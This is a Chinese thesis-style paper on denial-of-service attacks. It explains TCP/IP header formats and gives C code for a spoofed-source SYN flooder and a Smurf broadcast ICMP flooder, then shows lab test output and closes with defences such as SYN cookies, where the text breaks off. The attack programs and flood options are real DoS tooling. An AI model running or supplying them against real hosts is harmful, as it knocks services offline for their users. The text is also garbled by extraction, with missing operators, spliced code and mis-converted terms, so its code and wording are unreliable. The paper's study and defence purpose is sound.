版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)
文檔簡介
1、DoS攻擊方式的研究及實現(xiàn)摘要:本文在對兩種攻擊方式的具體分析后,歸納出當(dāng)前流行的DoS攻擊方式的主要特點,并根據(jù)攻擊的特點提供一些針對這些攻擊的防御方法。通過查閱各 種攻擊手段的資料,對其代碼進行研究,用代碼實現(xiàn)兩種攻擊程序,然后在特定的環(huán)境下,模擬了攻擊測試,并對測試結(jié)果進行比擬、分析。 關(guān)鍵字:套接字;報文;拒絕效勞;資源衰竭;緩沖區(qū);校驗和;播送;帶寬耗用 目 錄 TOC o 1-3 h z HYPERLINK l _Toc105218628 引言 PAGEREF _Toc105218628 h 4 HYPERLINK l _Toc105218629 1 問題的提出 PAGEREF _
2、Toc105218629 h 4 HYPERLINK l _Toc105218630 1.1 DoS攻擊的概念 PAGEREF _Toc105218630 h 4 HYPERLINK l _Toc105218631 1.2 DoS攻擊類型 PAGEREF _Toc105218631 h 4 HYPERLINK l _Toc105218632 1.3 兩種攻擊方式分析 PAGEREF _Toc105218632 h 5 HYPERLINK l _Toc105218633 2 基于DoS攻擊的分析和設(shè)計 PAGEREF _Toc105218633 h 10 HYPERLINK l _Toc1052
3、18634 2.1 功能需求 PAGEREF _Toc105218634 h 10 HYPERLINK l _Toc105218635 2.2 性能需求 PAGEREF _Toc105218635 h 10 HYPERLINK l _Toc105218636 2.3 系統(tǒng)結(jié)構(gòu)圖 PAGEREF _Toc105218636 h 11 HYPERLINK l _Toc105218637 2.4 數(shù)據(jù)流程圖 PAGEREF _Toc105218637 h 12 HYPERLINK l _Toc105218638 3 程序?qū)崿F(xiàn) PAGEREF _Toc105218638 h 14 HYPERLINK
4、l _Toc105218639 3.1 實現(xiàn)SYN FLOOD PAGEREF _Toc105218639 h 14 HYPERLINK l _Toc105218640 3.2 實現(xiàn)SMURF PAGEREF _Toc105218640 h 16 HYPERLINK l _Toc105218641 4 攻擊測試 PAGEREF _Toc105218641 h 22 HYPERLINK l _Toc105218642 攻擊實例 PAGEREF _Toc105218642 h 22 HYPERLINK l _Toc105218643 4.2 防御方法 PAGEREF _Toc105218643 h
5、 25 HYPERLINK l _Toc105218644 結(jié)論 PAGEREF _Toc105218644 h 27 HYPERLINK l _Toc105218645 致謝 PAGEREF _Toc105218645 h 27 HYPERLINK l _Toc105218646 參考文獻 PAGEREF _Toc105218646 h 27引言隨著信息技術(shù)特別是網(wǎng)絡(luò)技術(shù)的不斷開展,國際互聯(lián)網(wǎng)的全球化熱潮使人類社會進入了一個新的信息時代。由于國際互聯(lián)網(wǎng)具有不受時間、地域限制的特性,而且計算機的處理能力迅速增長,越來越多的網(wǎng)絡(luò)攻擊工具被攻擊者應(yīng)用于因特網(wǎng)而引發(fā)了大混亂,而在攻擊中又以拒絕效勞D
6、oS為主,這些拒絕效勞型攻擊每年造成的商業(yè)損失達成百上千萬美元,對任何系統(tǒng)和網(wǎng)絡(luò)都構(gòu)成了威脅。為了防止DoS造成更多的損失,很多研究人員參加到研究行列中來。為了讓大家對DoS有更多的了解,所以對 DOS攻擊原理以及常見方法進行研究。1 問題的提出1.1 DoS攻擊的概念DoS是Denial of Service的簡稱,即拒絕效勞,造成DoS的攻擊行為被稱為DoS攻擊,其目的是使計算機或網(wǎng)絡(luò)無法提供正常的效勞。被DoS攻擊時,主機上有大量等待的TCP連接,網(wǎng)絡(luò)中充滿著大量的無用的數(shù)據(jù)包。攻擊者源地址為假,制造高流量無用數(shù)據(jù),造成網(wǎng)絡(luò)擁塞,使受害主機無法正常和外界通訊。攻擊者利用受害主機提供的效勞
7、或傳輸協(xié)議上的缺陷,反復(fù)高速的發(fā)出特定的效勞請求,使受害主機無法及時處理所有正常請求,嚴(yán)重時會造成系統(tǒng)死機。1.2 DoS攻擊類型最常見的DoS攻擊形式有4種:1帶寬耗用bandwidth-consumption攻擊,攻擊者有更多的可用帶寬而能夠造成受害者的擁塞或者征用多個站點集中網(wǎng)絡(luò)連接對網(wǎng)絡(luò)進行攻擊。即以極大的通信量沖擊網(wǎng)絡(luò),使得所有可用網(wǎng)絡(luò)資源都被消耗殆盡,最后導(dǎo)致合法的用戶請求就無法通過。2資源衰竭resource-starvation攻擊,與帶寬耗用不同的是在于消耗系統(tǒng)資源,一般涉及cpu利用率、內(nèi)存、文件系統(tǒng)限額和系統(tǒng)進程總數(shù)之類的系統(tǒng)資源消耗。即用大量的連接請求沖擊計算機,使得所
8、有可用的操作系統(tǒng)資源都被消耗殆盡,最終計算機無法再處理合法用戶的請求。3編程缺陷programming flaw是應(yīng)用程序、操作系統(tǒng)在處理異常條件上的失敗。這些異常條件通常在用戶向脆弱的元素發(fā)送非期望的數(shù)據(jù)時發(fā)生。對于依賴用戶輸入的特定應(yīng)用程序來說,攻擊者可能發(fā)送大數(shù)據(jù)串,這樣就有可能創(chuàng)立一個緩沖區(qū)溢出條件而導(dǎo)致其崩潰。4DNS攻擊是基于域名系統(tǒng)的攻擊,攻擊者向放大網(wǎng)絡(luò)的播送地址發(fā)送源地址偽造成受害者系統(tǒng)的ICMP回射請求分組,這樣放大效果開始表現(xiàn),放大網(wǎng)絡(luò)上的所有系統(tǒng)對受害者系統(tǒng)作出響應(yīng),受害者系統(tǒng)所有可用帶寬將被耗盡。1.3 兩種攻擊方式分析1TCP/IP協(xié)議因為對于網(wǎng)絡(luò)協(xié)議都是分層的,所
9、以TCP/IP協(xié)議不例外,它可以分為四個層次:1.鏈路層:數(shù)據(jù)鏈路層或網(wǎng)絡(luò)接口層,通常包括操作系統(tǒng)中的設(shè)備驅(qū)動程序和計算機中對應(yīng)的網(wǎng)絡(luò)接口卡;2.網(wǎng)絡(luò)層:互連網(wǎng)層,處理分組在網(wǎng)絡(luò)中的活動,網(wǎng)絡(luò)層協(xié)議包括IP協(xié)議、ICMP協(xié)議、IGMP協(xié)議;3.傳輸層:它主要為兩臺主機上的應(yīng)用程序提供端到端的通信;4.應(yīng)用層:負責(zé)處理特定的應(yīng)用程序細節(jié)Telnet遠程登陸、FTP文件傳輸協(xié)議、SMTP用于電子郵件的簡單郵件傳輸協(xié)議、SNMP簡單網(wǎng)絡(luò)管理協(xié)議。TCP/IP協(xié)議的重點就是IP協(xié)議網(wǎng)際互連協(xié)議和TCP協(xié)議傳輸控制協(xié)議。首先介紹IP協(xié)議,IP協(xié)議的主要功能包括無連接數(shù)據(jù)報傳送、數(shù)據(jù)報尋徑以及過失處理三局
10、部。IP層作為通信子網(wǎng)的最高層,提供無連接的數(shù)據(jù)報傳輸機制。IP數(shù)據(jù)報協(xié)議非常簡單,不能保證傳輸?shù)目煽啃?。IP協(xié)議是點到點的,它向上層提供統(tǒng)一的IP數(shù)據(jù)報,使得各種物理幀的差異性對上層協(xié)議不復(fù)存在。TCP建立在不可靠的IP協(xié)議之上,IP不能提供任何可靠性機制,所以TCP的可靠性完全由自己實現(xiàn)。TCP采用的最根本的可靠性技術(shù)是:確認與超時重傳。流量控制也是保證可靠性的一個重要措施,假設(shè)無流量控制,可能因接受緩沖區(qū)溢出而喪失大量數(shù)據(jù),導(dǎo)致許多重傳。此外,TCP還要進行擁塞控制,目的也不外乎提供可靠性。怎樣才能建立可靠的連接呢?TCP使用了“三次握手機制:第一次,“客戶機向“效勞器發(fā)送連接請求,其中
11、包括“客戶機端的初始報文序號比方X。第二次,“效勞器收到連接請求后,發(fā)回連接確認,其中包括“效勞器端的初始報文序號比方Y(jié),以及“效勞器對“客戶機初始報文序號X確實認。第三次,“客戶機向“效勞器發(fā)送X序號數(shù)據(jù),其中包括對“效勞器初始序號Y確實認。撤消連接比建立連接簡單,但也可能造成數(shù)據(jù)喪失,因為連接的雙方都可以發(fā)起撤除連接操作。假設(shè)A、B兩機建立連接并傳輸報文。在A機毫無準(zhǔn)備的情況下,B機單方面發(fā)出斷連請求,并立刻終止接收該連接上的數(shù)據(jù)。在A機未收到斷連接請求之前,隨時可能向B機發(fā)送數(shù)據(jù),于是便有了數(shù)據(jù)喪失的可能性。為了解決此問題,再次用到三次握手方法。一方發(fā)出斷連請求后并不立即撤除連接,而要等
12、待對方確認;對方收到請求后,發(fā)送確認報文,并撤除連接;發(fā)起方收到確認后最后撤除連接。TCP的擁塞控制也是基于滑動窗口協(xié)議的,通過限制發(fā)送端向網(wǎng)間網(wǎng)注入報文的速率而到達控制擁塞的目的。TCP發(fā)現(xiàn)擁塞的途徑有兩條:一條是來自ICMP的源抑制報文,一條是報文喪失現(xiàn)象。TCP/IP協(xié)議的分析主要在于IP數(shù)據(jù)報和TCP數(shù)據(jù)報的格式。那么我們應(yīng)該首先了解IP數(shù)據(jù)報和TCP數(shù)據(jù)報的格式。各種數(shù)據(jù)格式常常以32bit即4字節(jié)為單位來描述。IP數(shù)據(jù)報的完整格式:優(yōu)先級別DTRC未用 版本首部長度效勞類型 總長度 標(biāo)識標(biāo)志 片偏移生存時間協(xié)議 首部檢驗和源地址目的地址長度可變的可選字段填充 IP數(shù)據(jù)報首部IP數(shù)據(jù)
13、局部IP數(shù)據(jù)報首部的固定局部中的各字段1.版本:占4bit,指IP協(xié)議的版本。通信雙方使用的IP協(xié)議的版本必須一致。2.首部長度:占4bit,可以表示的最大數(shù)值是15個單位一個單位為4字節(jié),因此IP的首部長度的最大值是60字節(jié)。3.效勞類型:占8bit,用來獲得更好的效勞。4.總長度:總長度指首部和數(shù)據(jù)之和的長度,單位為字節(jié)。5.標(biāo)識:占16bit,它是一個計數(shù)器,用來產(chǎn)生數(shù)據(jù)報的標(biāo)識。6.標(biāo)志:占3bit。7.片偏移:較長的分組在分片后,某片在原分組中的相對位置。8.生存時間:生存時間字段記為TTL,即數(shù)據(jù)報在網(wǎng)絡(luò)中的壽命9.協(xié)議:占8bit,協(xié)議字段指出此數(shù)據(jù)報攜帶的數(shù)據(jù)是使用何種協(xié)議,以
14、便使目的主機的IP層字段應(yīng)將此數(shù)據(jù)報上報給哪個進程。10.首部檢驗和:此字段只檢驗數(shù)據(jù)報的首部,不包括數(shù)據(jù)局部。TCP數(shù)據(jù)報的完整格式:源端口目的端口序號確認號數(shù)據(jù)偏 移保存URGACKPSHRSTSYNFIN窗口檢驗和緊急指針選項長度可變填充TCP數(shù)據(jù)報首部TCP數(shù)據(jù)局部 IP數(shù)據(jù)報首部IP數(shù)據(jù)局部TCP首部固定局部各字段的意義如下1.源端口和目的端口:各占2個字節(jié)。端口是運輸層與應(yīng)用層的效勞接口,16bit的端口號加上32bit的IP地址,構(gòu)成了SOCKET,它相當(dāng)于運輸層效勞訪問點TSAP的地址總共是48bit。這些端口用來將假設(shè)干高層協(xié)議向下復(fù)用,也用來將運輸層協(xié)議向上分用。2.序號:
15、占4bit。TCP是面向數(shù)據(jù)流的,它傳送的報文可以看成為連續(xù)的數(shù)據(jù)流,其中每一個字節(jié)都對應(yīng)于一個序號。首部中的“序號那么指的是本報文段所發(fā)送的數(shù)據(jù)中第一個字節(jié)的序號。3.確認序號:占4字節(jié),是期望收到對方的下一個報文段的數(shù)據(jù)的第一個字節(jié)的序號,也就是期望收到的下一個報文段首部的序號字段的值。4.數(shù)據(jù)偏移:占4bit,它指出數(shù)據(jù)開始的地方離TCP報文段的起始處有多遠。5.保存:占6bit,保存為今后使用,目前應(yīng)為06.緊急比特URG:當(dāng)URG=1時,說明緊急指針字段有效。它告訴系統(tǒng)此報文段中有緊急數(shù)據(jù),應(yīng)盡快傳送相當(dāng)于高優(yōu)先級的數(shù)據(jù),而不按原來的排隊順序來傳送。ACK:只有當(dāng)ACK=1時確認序號
16、字段才有效。PSH:當(dāng)兩個應(yīng)用進程進行交互式的通信時,有時在一端的應(yīng)用進程希望在鍵入一個命令后立即就能夠收到對方的響應(yīng)。RST:當(dāng)RST=1時,說明TCP連接中出現(xiàn)嚴(yán)重過失,必須釋放連接,然后再重新建立運輸連接。SYN:在連接建立時用來同步的序號。FIN:用來釋放一個連接。12.窗口:占2字節(jié)。窗口字段用來控制對方發(fā)送的數(shù)據(jù)量,單位為字節(jié)。13.檢驗和:占2字節(jié)。檢驗和字段檢驗的范圍包括首部和數(shù)據(jù)這兩局部。2 SYN FLOOD攻擊SYN FLOOD 是一種比擬有效而又非常難于防御的一種DoS攻擊方式。它利用TCP三次握手協(xié)議的缺陷,向目標(biāo)主機發(fā)送大量的偽造源地址的SYN連接請求,消耗目標(biāo)主機
17、的資源,從而不能夠為正常用戶提供效勞。這個攻擊是經(jīng)典的以小搏大的攻擊,自己使用少量資源占用對方大量資源。一臺P4的Linux系統(tǒng)大約能發(fā)到3040M的64字節(jié)的SYN報文,而一臺普通的效勞器20M的流量就根本沒有任何響應(yīng)了包括鼠標(biāo)、鍵盤。而且SYN不僅可以遠程進行,而且可以偽造源IP地址,給追查造成很大困難,要查找必須所有骨干網(wǎng)絡(luò)運營商,一級一級路由器的向上查找。要掌握SYN Flood攻擊的根本原理,必須先介紹TCP的三次握 制。TCP 三次握手過程如下:1客戶端向效勞器端發(fā)送一個SYN置位的TCP報文,包含客戶端使用的端口號和初始序列號x;2效勞器端收到客戶端發(fā)送來的SYN報文后,向客戶端
18、發(fā)送一個SYN和ACK都置位的TCP報文,包含確認號為x1和效勞器的初始序列號y;3客戶端收到效勞器返回的SYNACK報文后,向效勞器返回一個確認號為y1序號為x1的ACK報文,一個標(biāo)準(zhǔn)的TCP連接完成。如圖1所示:TCP客戶端客戶端端口102465535TCP效勞器端效勞器端口11023SYNSYN/ACKACK132圖1 正常情況下TCP連接建立的過程攻擊原理:在SYN Flood攻擊中,黑客機器向受害主機發(fā)送大量偽造源地址的TCP SYN報文,受害主機分配必要的資源,然后向源地址返回SYNACK包,并等待源端返回ACK包,如圖2所示。由于源地址是偽造的,所以源端永遠都不會返回ACK報文,
19、并向受害主機繼續(xù)發(fā)送SYNACK包,當(dāng)目標(biāo)計算機收到請求后,就會使用一些系統(tǒng)資源來為新的連接提供效勞,接著回復(fù)SYNACK。假設(shè)一個用戶向效勞器發(fā)送報文后突然死機或掉線,那么效勞器在發(fā)出SYNACK應(yīng)答報文后是無法再接受到客戶端的ACK報文第三次握手無法完成。一些系統(tǒng)都有缺省的回復(fù)次數(shù)和超時時間,這種情況下效勞器端一般會重新發(fā)送SYNACK報文給客戶端,只有到達一定次數(shù)或者超時,占用的系統(tǒng)資源才會被釋放。這段時間我們稱為SYN Timeout,雖然時間長度是分鐘的數(shù)量級,但是由于端口的半連接隊列的長度是有限的,如果不斷的向受害主機發(fā)送大量的TCP SYN報文,半連接隊列就會很快填滿,效勞器拒絕
20、新的連接,將導(dǎo)致該端口無法響應(yīng)其他機器進行的連接請求,最終使受害主機的資源耗盡。圖2 SYN Flood攻擊示意圖TCP客戶端客戶端端口102465535TCP效勞器端效勞器端口11023SYNSYN/ACK12偽造源地址3 SMURF攻擊Smurf攻擊因為其放大效果成為最令人害怕的GENERIC DoS攻擊之一。這種放大效果是往一個網(wǎng)絡(luò)上的多個系統(tǒng)發(fā)送定向播送的ping請求,這些系統(tǒng)接著對這種請求作出響應(yīng)的結(jié)果。攻擊原理:Smurf攻擊是這種攻擊的早期形式,是一種在局域網(wǎng)中的攻擊手段。它的作用原理是基于播送地址與回應(yīng)請求的。一臺計算機向另一臺計算機發(fā)送一些特殊的數(shù)據(jù)包如ping請求時,會接到
21、它的回應(yīng);如果向本網(wǎng)絡(luò)的播送地址發(fā)送請求包,實際上會到達網(wǎng)絡(luò)上所有的計算機,這時就會得到所有計算機的回應(yīng)。這些回應(yīng)是需要被接收的計算機處理的,每處理一個就要占用一份系統(tǒng)資源,如果同時接到網(wǎng)絡(luò)上所有計算機的回應(yīng),接收方的系統(tǒng)是有可能吃不消的,就象遭到了DDoS攻擊一樣。大家會疑問,誰會無聊得去向網(wǎng)絡(luò)地址發(fā)包而招來所有計算機的攻擊呢?當(dāng)然做為一個正常的操作者是不會這么做的,但是當(dāng)黑客要利用這個原理進行Smurf攻擊的時候,他會代替受害者來做這件事。黑客向播送地址發(fā)送請求包,所有的計算機得到請求后,卻不會把回應(yīng)發(fā)到黑客那里,而是被攻擊的計算機處。這是因為黑客冒充了被攻擊主機。黑客發(fā)包所用的軟件是可以
22、偽造源地址的,接到偽造數(shù)據(jù)包的主時機根據(jù)源地址把回應(yīng)發(fā)出去,這當(dāng)然就是被攻擊目標(biāo)的地址。黑客同時還會把發(fā)包的間隔減到幾毫秒,這樣在單位時間能發(fā)出數(shù)以千計的請求,使受害者接到被欺騙計算機那里傳來的洪水般的回應(yīng)。象遭到其他類型的拒絕效勞攻擊一樣,被攻擊主時機網(wǎng)絡(luò)和系統(tǒng)無法響應(yīng),嚴(yán)重時還會導(dǎo)致系統(tǒng)崩潰。黑客借助了網(wǎng)絡(luò)中所有計算機來攻擊受害者,而不需要事先去占領(lǐng)這些被欺騙的主機。2 基于DoS攻擊的分析和設(shè)計2.1 功能需求 1軟件需要在命令行模式下運行。 2被攻擊主機應(yīng)確保處于運行態(tài)。 3網(wǎng)絡(luò)傳輸速度較快。2.2 性能需求 系統(tǒng)對運行環(huán)境的要求:硬件環(huán)境 局域網(wǎng)環(huán)境百兆交換機高性能PC一臺普通性能P
23、C一臺 軟件環(huán)境Win 2000操作系統(tǒng)UNIX操作系統(tǒng) 網(wǎng)絡(luò)監(jiān)聽工具SNOOPC+2.3 系統(tǒng)結(jié)構(gòu)圖初始化SYN FLOOD初始化緩沖 區(qū)初始化套接 字TCP首部校驗和構(gòu)造tcp報文IP首部校驗 和發(fā)送報文進行攻 擊 圖3 SYN FLOOD結(jié)構(gòu)圖初始化SMURF初始化緩沖 區(qū)初始化套接 字ICMP校驗和構(gòu)造偽造ICMP報文WENN 文IP首部校驗 和發(fā)送定向播送進行攻 擊 圖4 SMURF結(jié)構(gòu)圖2.4 數(shù)據(jù)流程圖SYN FLOOD數(shù)據(jù)流程圖如下:偽TCP首部校驗和TCP首部 構(gòu)造TCP報文用戶校驗和IP首部發(fā)送報文被攻擊主機 圖5 SYN FLOOD數(shù)據(jù)流程圖SMURF數(shù)據(jù)流程圖如下:校驗
24、和ICMP 構(gòu)造ICMP報文用戶校驗和IP首部ICMP回射請求分組被攻擊主機所在網(wǎng)絡(luò) 圖6 SMURF數(shù)據(jù)流程圖3 程序?qū)崿F(xiàn)3.1 實現(xiàn)SYN FLOOD程序描述:目的:利用TCP連接三次握手定理進行攻擊.特點:發(fā)起的連接都是半連接功能輸入 處理 輸出被攻擊主機IP 生成偽造IP的報文向被攻擊主機發(fā)送報文性能要求 對TCP 、IP首部校驗和運算要有較快速度攻擊機所處局域網(wǎng)內(nèi)機器較少,防止偽造IP與網(wǎng)內(nèi)機器IP相同輸入項 被攻擊主機IP輸出項 偽造的SYN報文流程邏輯/定義TCP首部typedef struct _tcphdr USHORT th_sport; /16位源端口USHORT th_
25、dport; /16位目的端口unsigned int th_seq; /32位序列號unsigned int th_ack; /32位確認號unsigned char th_lenres; /4位首部長度+6位保存字中的4位unsigned char th_flag; /2位保存字+6位標(biāo)志位USHORT th_win; /16位窗口大小USHORT th_sum; /16位校驗和USHORT th_urp; /16位緊急數(shù)據(jù)偏移量TCP_HEADER;/定義IP首部typedef struct _iphdrunsigned char h_verlen; /4位首部長度+4位IP版本號uns
26、igned char tos; /8位效勞類型TOSunsigned short total_len; /16位總長度字節(jié)unsigned short ident; /16位標(biāo)識unsigned short flags; /3位標(biāo)志位unsigned char ttl; /8位生存時間 TTLunsigned char proto; /8位協(xié)議號(TCP, UDP 或其他)unsigned short checksum; /16位IP首部校驗和unsigned int sourceIP; /32位源IP地址unsigned int destIP; /32位目的IP地址IP_HEADER;/建立
27、原始套接字SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);/計算校驗和USHORT checksum(USHORT *buffer, int size) unsigned long cksum=0;while(size 1) cksum+=*buffer+; size -=sizeof(USHORT); if(size ) cksum += *(UCHAR*)buffer;cksum = (cksum 16) + (cksum & 0 xffff);cksum += (cksum 16);re
28、turn (USHORT)(cksum);/構(gòu)造TCP偽首部,保證校驗和的有效性struct unsigned long saddr; /源地址unsigned long daddr; /目的地址char mbz; /置空char ptcl; /協(xié)議類型unsigned short tcpl; /TCP長度psd_header;/這兩個字段復(fù)制到同一個緩沖區(qū)SendBuf中并計算TCP校驗和memcpy(SendBuf,&psd_header,sizeof(psd_header);memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_
29、header);tcp_header.th_sum=checksum(USHORT*)SendBuf,sizeof(psd_header)+sizeof(tcp_header);/計算IP校驗和memcpy(SendBuf,&ip_header,sizeof(ip_header);memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header);ip_header.checksum=checksum(USHORT *)SendBuf, sizeof(ip_header)+sizeof(tcp_header);/形成TCP報文memc
30、py(SendBuf,&ip_header,sizeof(ip_header);/向被攻擊機發(fā)送SYN請求sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)&DestAddr,sizeof(DestAddr);3.2 實現(xiàn)SMURF程序描述:目的:利用發(fā)送定向播送進行攻擊.特點:攻擊效果被放大 功能 向被攻擊主機所在網(wǎng)絡(luò)發(fā)送ICMP回射請求分組性能要求 對ICMP、IP首部校驗和運算要有較快速度攻擊機所處局域網(wǎng)內(nèi)機器較多,到達攻擊放大效果輸入項 被攻擊主機IP , 播送地址所在文件,包數(shù),包之間延遲,包大小輸出項 ICMP報文流程邏輯/幫助
31、信息void usage (char *prog) fprintf(stderr, usage: %s nn target=address to hitn bcast file=file to read broadcast addresses fromn num packets=number of packets to send (0 = flood)n packet delay=wait between each packet (in ms)n packet size=size of packet (1) cksum+=*buffer+; size -=sizeof(USHORT); if(
32、size ) cksum += *(UCHAR*)buffer;cksum = (cksum 16) + (cksum & 0 xffff);cksum += (cksum 16);return (USHORT)(cksum);/主函數(shù)int main(int argc, char *argv) struct sockaddr_in sin; /地址結(jié)構(gòu) struct hostent *he; /主機信息結(jié)構(gòu) FILE *bcastfile; /播送地址文件 int i,sock,bcast,delay,num,pktsize,cycle = 0, x; char buf32, *bcasta
33、ddr = malloc(8192); banner(); /顯示標(biāo)記 signal(SIGINT, ctrlc); if (argc h_addr, he-h_length); /通訊發(fā)生區(qū)域為WINDOWSsin.sin_family = AF_INET; /端口置空sin.sin_port = htons(0); num=atoi(argv3); delay=atoi(argv4); pktsize=atoi(argv5); /以只讀方式翻開播送地址文件失敗if (bcastfile=fopen(argv2,r)=NULL) perror(opening bcast file); exi
34、t(-1); x=0; /讀入全部播送地址 while (!feof(bcastfile) fgets(buf,32,bcastfile); if (buf0=#| buf0 = n | ! isdigit(buf0) continue; for (i=0; i 1024) fprintf(stderr, ERROR: packet size must be 1024nn); exit(-1); /原始套接字初始化 if (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW) 0) perror(getting socket); exit(-1); /設(shè)置
35、套接字選項 setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast); printf(Flooding %s (. = 25 outgoing packets)n, argv1); /循環(huán)發(fā)送ICMP回射請求 for (i=0; itot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip-ihl = 5; ip-version = 4; ip-ttl = 255; ip-tos = 0; ip-frag_off =
36、0; ip-protocol = IPPROTO_ICMP; ip-saddr = sin.sin_addr.s_addr; ip-daddr = dest; ip-check = in_chksum(u_short *)ip, sizeof(struct iphdr); /設(shè)置ICMP報文并計算校驗和icmp-type = 8; icmp-code = 0; icmp-checksum = in_chksum(u_short *)icmp, sizeof(struct icmphdr) + psize); /發(fā)送ICMP報文 sendto(sock, packet, sizeof(struc
37、t iphdr) + sizeof(struct icmphdr) + psize, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr); 4 攻擊測試1SYN FLOOD下面是模擬的一次Syn Flood攻擊的實際過程 這一個局域網(wǎng)環(huán)境,只有一臺攻擊機PIII667/128,被攻擊的是一臺Solaris 8.0 (spark)的主機,網(wǎng)絡(luò)設(shè)備是Cisco的百兆交換機。這是在攻擊并未進行之前,在Solaris上進行snoop的記錄,snoop與tcpdump等網(wǎng)絡(luò)監(jiān)聽工具一樣,也是一個很好的網(wǎng)絡(luò)抓包與分析的工具??梢钥吹焦糁?,目標(biāo)主機上接
38、到的根本上都是一些普通的網(wǎng)絡(luò)包。 ? - (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes ? - (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes ? - (multicast) ETHER Type=0000 (LLC/802.3), size = 52 bytes ? - (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes6 - 55 NBT Datagram Service Type=17 Sour
39、ce=GU047 - 55 NBT Datagram Service Type=17 Source=TSC0 ? - (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes00 - (broadcast) ARP C Who is 02, 02 ? - (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes ? - (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes6 - 55 NBT Datagram Service
40、 Type=17 Source=GU0 ? - (multicast) ETHER Type=0000 (LLC/802.3), size = 52 bytes ? - (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes ? - (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes接著,攻擊機開始發(fā)包,DoS開始了,突然間主機上的snoop窗口開始飛速地翻屏,顯示出接到數(shù)量巨大的Syn請求。這時候內(nèi)容完全不同了,再也收不到剛剛那些正常的網(wǎng)絡(luò)包,只有DoS包。大家注意一下,這
41、里所有的Syn Flood攻擊包的源地址都是偽造的,給追查工作帶來很大困難。# netstat -an | grep SYN83.9 9.1801 0 0 24656 0 SYN_RCVD83.13 9.1801 0 0 24656 0 SYN_RCVD83.19 9.1801 0 0 24656 0 SYN_RCVD83.21 9.1801 0 0 24656 0 SYN_RCVD83.22 9.1801 0 0 24656 0 SYN_RCVD83.23 9.1801 0 0 24656 0 SYN_RCVD83.25 9.1801 0 0 24656 0 SYN_RCVD83.37 9.
42、1801 0 0 24656 0 SYN_RCVD83.53 9.1801 0 0 24656 0 SYN_RCVD其中SYN_RCVD表示當(dāng)前未完成的TCP SYN隊列,統(tǒng)計一下:# netstat -an | grep SYN | wc l5273# netstat -an | grep SYN | wc l5154# netstat -an | grep SYN | wc l5267共有五千多個Syn的半連接存儲在內(nèi)存中。這時候被攻擊機已經(jīng)不能響應(yīng)新的效勞請求了,系統(tǒng)運行非常慢,也無法ping通。這是在攻擊發(fā)起后僅僅70秒鐘左右時的情況。2 SMURF下面是模擬的一次SMURF攻擊:在局
43、域網(wǎng)環(huán)境下,發(fā)起攻擊的主機是UNIX操作系統(tǒng),被攻擊主機是普通PC,因為SMURF攻擊效果和被攻擊主機所在網(wǎng)絡(luò)主機數(shù)有很大關(guān)系,所以選擇了一個在線用戶多的時間,發(fā)起了攻擊。以下圖是被攻擊主機用SNOOP抓圖的結(jié)果: 78 - AUTH C port=1352 192.1682 - TCP D=114 S=1352 Seq=674711609 Len=0 Win=65535 192.1681 - TCP D=115 S=1352 Seq=674711609 Len=0 Win=65535 8 - UUCP-PATH C port=1352 2 - TCP D=118 S=1352 Seq=674
44、711609 Len=0 Win=65535 192.16818 - NNTP C port=1352 4 - TCP D=121 S=1352 Seq=674711609 Len=0 Win=65535 8 - TCP D=122 S=1352 Seq=674711609 Len=0 Win=65535 192.1684 - TCP D=124 S=1352 Seq=674711609 Len=0 Win=65535 1 - TCP D=125 S=1352 Seq=674711609 Len=0 Win=65535 9 - TCP D=126 S=1352 Seq=674711609 Le
45、n=0 Win=65535 13 - TCP D=128 S=1352 Seq=674711609 Len=0 Win=65535 2 - TCP D=130 S=1352 Seq=674711609 Len=0 Win=65535 04 - TCP D=131 S=1352 Seq=674711609 Len=0 Win=65535 56 - TCP D=133 S=1352 Seq=674711609 Len=0 Win=65535 192.16848 - TCP D=135 S=1352 Seq=674711609 Len=0 Win=65535可以看出發(fā)起攻擊后,局域網(wǎng)上的主機對目標(biāo)主
46、機有了響應(yīng),這時系統(tǒng)運行非常慢,幾乎不能響應(yīng)用戶請求,到達了攻擊目的。4.2 防御方法通過對兩種攻擊方式原理的分析,以及模擬實驗結(jié)果比照,并查看有關(guān)資料,給出了以下防御方法:SYN FLOODSYNcookie技術(shù)一般情況下,當(dāng)效勞器收到一個TCP SYN報文后,馬上為該連接請求分配緩沖區(qū),然后返回一個SYNACK報文,這時形成一個半連接。SYN Flood正是利用了這一點,發(fā)送大量的偽造源地址的SYN連接請求,而不完成連接。這樣就大量的消耗的效勞器的資源。SYNcookie技術(shù)針對標(biāo)準(zhǔn)TCP連接建立過程資源分配上的這一缺陷,改變了資源分配的策略。當(dāng)效勞器收到一個SYN報文后,不立即分配緩沖區(qū)
47、,而是利用連接的信息生成一個cookie,并將這個cookie作為將要返回的SYNACK報文的初始序列號。當(dāng)客戶端返回一個ACK報文時,根據(jù)包頭信息計算cookie,與返回確實認序列號初始的序列號1的前24位進行比照,如果相同,那么是一個正常連接,然后,分配資源,建立連接。該技術(shù)的巧妙之點在于防止了在連接信息未完全到達前進行資源分配,使SYN Flood攻擊的資源消耗失效。實現(xiàn)的關(guān)鍵之處在于cookie的計算。cookie的計算應(yīng)該做到包含本次連接的狀態(tài)信息,使攻擊者不能偽造cookie。cookie的計算過程如下:效勞器收到一個SYN包后,計算一個消息摘要mac:mac = MACA,k;M
